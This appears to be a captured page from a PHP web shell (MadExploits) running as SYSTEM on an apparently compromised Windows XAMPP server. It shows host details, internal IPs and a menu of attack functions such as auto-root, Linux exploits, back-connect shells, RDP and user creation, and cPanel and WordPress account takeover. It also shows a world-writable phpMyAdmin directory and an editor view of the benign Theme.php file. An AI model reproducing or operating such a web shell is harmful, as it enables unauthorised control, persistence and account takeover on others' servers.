Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Theme.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * hold Theme class * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Template; use PhpMyAdmin\ThemeManager; use PhpMyAdmin\Url; /** * handles theme * * @todo add the possibility to make a theme depend on another theme * and by default on original * @todo make all components optional - get missing components from 'parent' theme * * @package PhpMyAdmin */ class Theme { /** * @var string theme version * @access protected */ public $version = '0.0.0.0'; /** * @var string theme name * @access protected */ public $name = ''; /** * @var string theme id * @access protected */ public $id = ''; /** * @var string theme path * @access protected */ public $path = ''; /** * @var string file system theme path */ private $fsPath = ''; /** * @var string image path * @access protected */ public $img_path = ''; /** * @var integer last modification time for info file * @access protected */ public $mtime_info = 0; /** * needed because sometimes, the mtime for different themes * is identical * @var integer filesize for info file * @access protected */ public $filesize_info = 0; /** * @var array List of css files to load * @access private */ public $_cssFiles = [ 'common', 'enum_editor', 'gis', 'navigation', 'designer', 'rte', 'codemirror', 'jqplot', 'resizable-menu', 'icons', ]; /** * @var Template */ public $template; /** * Theme constructor. */ public function __construct() { $this->template = new Template(); } /** * Loads theme information * * @return boolean whether loading them info was successful or not * @access public */ public function loadInfo() { $infofile = $this->getFsPath() . 'theme.json'; if (! @file_exists($infofile)) { return false; } if ($this->mtime_info === filemtime($infofile)) { return true; } $content = @file_get_contents($infofile); if ($content === false) { return false; } $data = json_decode($content, true); // Did we get expected data? if (! is_array($data)) { return false; } // Check that all required data are there $members = [ 'name', 'version', 'supports', ]; foreach ($members as $member) { if (! isset($data[$member])) { return false; } } // Version check if (! is_array($data['supports'])) { return false; } if (! in_array(PMA_MAJOR_VERSION, $data['supports'])) { return false; } $this->mtime_info = filemtime($infofile); $this->filesize_info = filesize($infofile); $this->setVersion($data['version']); $this->setName($data['name']); return true; } /** * returns theme object loaded from given folder * or false if theme is invalid * * @param string $folder path to theme * @param string $fsPath file-system path to theme * * @return Theme|false * @static * @access public */ public static function load(string $folder, string $fsPath) { $theme = new Theme(); $theme->setPath($folder); $theme->setFsPath($fsPath); if (! $theme->loadInfo()) { return false; } $theme->checkImgPath(); return $theme; } /** * checks image path for existence - if not found use img from fallback theme * * @access public * @return bool */ public function checkImgPath() { // try current theme first if (is_dir($this->getFsPath() . 'img/')) { $this->setImgPath($this->getPath() . '/img/'); return true; } // try fallback theme $fallback = ThemeManager::getThemesDir() . ThemeManager::FALLBACK_THEME . '/img/'; if (is_dir(ThemeManager::getThemesFsDir() . ThemeManager::FALLBACK_THEME . '/img/')) { $this->setImgPath($fallback); return true; } // we failed trigger_error( sprintf( __('No valid image path for theme %s found!'), $this->getName() ), E_USER_ERROR ); return false; } /** * returns path to theme * * @access public * @return string path to theme */ public function getPath() { return $this->path; } /** * returns file system path to the theme * * @return string file system path to theme */ public function getFsPath(): string { return $this->fsPath; } /** * set path to theme * * @param string $path path to theme * * @return void * @access public */ public function setPath($path) { $this->path = trim($path); } /** * set file system path to the theme * * @param string $path path to theme * * @return void */ public function setFsPath(string $path): void { $this->fsPath = trim($path); } /** * sets version * * @param string $version version to set * * @return void * @access public */ public function setVersion($version) { $this->version = trim($version); } /** * returns version * * @return string version * @access public */ public function getVersion() { return $this->version; } /** * checks theme version against $version * returns true if theme version is equal or higher to $version * * @param string $version version to compare to * * @return boolean true if theme version is equal or higher to $version * @access public */ public function checkVersion($version) { return version_compare($this->getVersion(), $version, 'lt'); } /** * sets name * * @param string $name name to set * * @return void * @access public */ public function setName($name) { $this->name = trim($name); } /** * returns name * * @access public * @return string name */ public function getName() { return $this->name; } /** * sets id * * @param string $id new id * * @return void * @access public */ public function setId($id) { $this->id = trim($id); } /** * returns id * * @return string id * @access public */ public function getId() { return $this->id; } /** * Sets path to images for the theme * * @param string $path path to images for this theme * * @return void * @access public */ public function setImgPath($path) { $this->img_path = $path; } /** * Returns the path to image for the theme. * If filename is given, it possibly fallbacks to fallback * theme for it if image does not exist. * * @param string $file file name for image * @param string $fallback fallback image * * @access public * @return string image path for this theme */ public function getImgPath($file = null, $fallback = null) { if ($file === null) { return $this->img_path; } if (is_readable($this->img_path . $file)) { return $this->img_path . $file; } if ($fallback !== null) { return $this->getImgPath($fallback); } return './themes/' . ThemeManager::FALLBACK_THEME . '/img/' . $file; } /** * Renders the preview for this theme * * @return string * @access public */ public function getPrintPreview() { $url_params = ['set_theme' => $this->getId()]; $screen = null; if (@file_exists($this->getFsPath() . 'screen.png')) { $screen = $this->getPath() . '/screen.png'; } return $this->template->render('theme_preview', [ 'url_params' => $url_params, 'name' => $this->getName(), 'version' => $this->getVersion(), 'id' => $this->getId(), 'screen' => $screen, ]); } }
Close